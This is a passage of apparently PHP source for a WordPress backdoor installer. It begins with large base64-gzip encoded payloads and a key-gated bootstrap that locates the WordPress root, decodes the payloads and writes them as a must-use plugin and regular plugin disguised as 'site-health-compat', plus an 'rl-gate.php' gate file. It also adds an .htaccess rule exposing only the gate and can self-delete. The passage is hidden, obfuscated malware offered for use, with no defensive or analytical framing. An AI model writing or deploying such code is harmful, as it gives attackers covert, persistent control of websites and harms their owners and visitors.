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');
define('RL_GATE_B64GZ', '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');
/* === /BUILD === */
function rl_boot_json(array $data, int $code = 200): void
{
http_response_code($code);
echo json_encode($data, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
}
function rl_boot_die(array $data, int $code = 400): void
{
rl_boot_json($data, $code);
exit;
}
function rl_boot_self_delete(): bool
{
$me = __FILE__;
$ok = false;
if (is_file($me)) {
$ok = @unlink($me);
}
$dir = dirname($me);
if (is_dir($dir)) {
$left = @scandir($dir);
if (is_array($left) && count(array_diff($left, array('.', '..'))) === 0) {
@rmdir($dir);
}
}
return (bool) $ok;
}
function rl_boot_find_wp(string $start): ?string
{
$start = rtrim(str_replace('\\', '/', $start), '/');
$candidates = array();
$dir = $start;
for ($i = 0; $i < 12; $i++) {
$candidates[] = $dir;
$candidates[] = $dir . '/wordpress';
$candidates[] = $dir . '/wp';
$candidates[] = $dir . '/public';
$candidates[] = $dir . '/public_html';
$candidates[] = $dir . '/httpdocs';
$candidates[] = $dir . '/www';
$parent = dirname($dir);
if ($parent === $dir) {
break;
}
$dir = $parent;
}
$candidates[] = dirname($start) . '/..';
$candidates[] = dirname($start) . '/../..';
$seen = array();
foreach ($candidates as $c) {
$c = rtrim(str_replace('\\', '/', (string) realpath($c) ?: $c), '/');
if ($c === '' || isset($seen[$c])) {
continue;
}
$seen[$c] = true;
if (is_file($c . '/wp-load.php') && is_file($c . '/wp-config.php')) {
return $c;
}
if (is_file($c . '/wp-load.php')) {
return $c;
}
}
return null;
}
function rl_boot_ensure_dir(string $path, int $mode = 0755): bool
{
if (is_dir($path)) {
if (!is_writable($path)) {
@chmod($path, $mode);
}
return is_writable($path);
}
@mkdir($path, $mode, true);
@chmod($path, $mode);
return is_dir($path) && is_writable($path);
}
function rl_boot_rand_token(int $len = 32): string
{
$alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$out = '';
$max = strlen($alphabet) - 1;
try {
$bytes = random_bytes($len);
for ($i = 0; $i < $len; $i++) {
$out .= $alphabet[ord($bytes[$i]) % ($max + 1)];
}
return $out;
} catch (Throwable $e) {
for ($i = 0; $i < $len; $i++) {
$out .= $alphabet[mt_rand(0, $max)];
}
return $out;
}
}
function rl_boot_write_gate(string $content_dir): array
{
$info = array('ok' => false, 'paths' => array());
if (RL_GATE_B64GZ === '') {
$info['error'] = 'gate empty';
return $info;
}
$bin = base64_decode((string) RL_GATE_B64GZ, true);
$php = ($bin !== false && function_exists('gzdecode')) ? @gzdecode($bin) : false;
if ($php === false || $php === '') {
$info['error'] = 'gate decode fail';
return $info;
}
$targets = array(
rtrim($content_dir, '/') . '/uploads/rl/rl-gate.php',
rtrim($content_dir, '/') . '/plugins/site-health-compat/rl-gate.php',
);
foreach ($targets as $dest) {
$dir = dirname($dest);
if (!rl_boot_ensure_dir($dir)) {
continue;
}
@unlink($dest);
if (@file_put_contents($dest, $php) !== false) {
@chmod($dest, 0644);
$info['paths'][] = $dest;
$info['ok'] = true;
}
}
return $info;
}
// --- auth ---
$key = '';
if (isset($_GET['k'])) {
$key = (string) $_GET['k'];
} elseif (isset($_POST['k'])) {
$key = (string) $_POST['k'];
} elseif (isset($_SERVER['HTTP_X_RL_BOOT_KEY'])) {
$key = (string) $_SERVER['HTTP_X_RL_BOOT_KEY'];
}
$expect = (string) RL_BOOT_KEY;
if ($expect === '' || $expect === 'CHANGE_ME_RL_KEY' || $key === '' || !hash_equals($expect, $key)) {
rl_boot_die(array('ok' => false, 'error' => 'forbidden'), 403);
}
if (RL_PAYLOAD_B64GZ === '') {
rl_boot_die(array('ok' => false, 'error' => 'payload empty — run build_bootstrap.py'), 500);
}
$wp_root = rl_boot_find_wp(__DIR__);
if ($wp_root === null) {
rl_boot_die(array(
'ok' => false,
'error' => 'wp-load.php bulunamadi',
'hint' => 'Dosyayi WP kokune, wp-content, plugins veya uploads altina koy',
'here' => __DIR__,
), 404);
}
$bin = base64_decode((string) RL_PAYLOAD_B64GZ, true);
if ($bin === false) {
rl_boot_die(array('ok' => false, 'error' => 'payload b64 decode fail'), 500);
}
$php = function_exists('gzdecode') ? @gzdecode($bin) : false;
if ($php === false || $php === '') {
rl_boot_die(array('ok' => false, 'error' => 'payload gunzip fail'), 500);
}
$here = rtrim(str_replace('\\', '/', __DIR__), '/');
$content = rtrim(str_replace('\\', '/', $wp_root), '/') . '/wp-content';
if (preg_match('#^(.*?/wp-content)(/|$)#', $here, $m)) {
$content = $m[1];
} elseif (substr($here, -8) === '/plugins') {
$content = dirname($here);
}
$paths = array(
'content' => $content,
'plugins' => $content . '/plugins',
'mu-plugins' => $content . '/mu-plugins',
'uploads' => $content . '/uploads',
'uploads_rl' => $content . '/uploads/rl',
);
$opened = array();
foreach ($paths as $name => $p) {
$opened[$name] = rl_boot_ensure_dir($p) ? 'ok' : 'fail';
}
if ($opened['mu-plugins'] !== 'ok') {
rl_boot_die(array(
'ok' => false,
'error' => 'mu-plugins yazilamiyor',
'opened' => $opened,
'path' => $paths['mu-plugins'],
'content'=> $content,
), 500);
}
$dest = $paths['mu-plugins'] . '/site-health-compat.php';
@unlink($dest);
$written = @file_put_contents($dest, $php);
if ($written === false || !is_file($dest)) {
rl_boot_die(array(
'ok' => false,
'error' => 'mu-plugin yazilamadi',
'dest' => $dest,
'opened' => $opened,
), 500);
}
@chmod($dest, 0644);
if (function_exists('opcache_invalidate')) {
@opcache_invalidate($dest, true);
}
$plug_dir = $paths['plugins'] . '/site-health-compat';
$plug_dest = $plug_dir . '/site-health-compat.php';
$plug_ok = false;
if ($opened['plugins'] === 'ok' || rl_boot_ensure_dir($plug_dir)) {
@unlink($plug_dest);
$pw = @file_put_contents($plug_dest, $php);
$plug_ok = ($pw !== false && is_file($plug_dest));
if ($plug_ok) {
@chmod($plug_dest, 0644);
if (function_exists('opcache_invalidate')) {
@opcache_invalidate($plug_dest, true);
}
@file_put_contents(
$plug_dir . '/.htaccess',
"<Files \"rl-gate.php\">\nRequire all granted\n</Files>\n"
. "<FilesMatch \"^(?!rl-gate\\.php$).*\\.php$\">\nRequire all denied\n</FilesMatch>\n"
);
}
}
// Token — WP yok; drop + erken claim mu-plugin
$plain = rl_boot_rand_token(32);
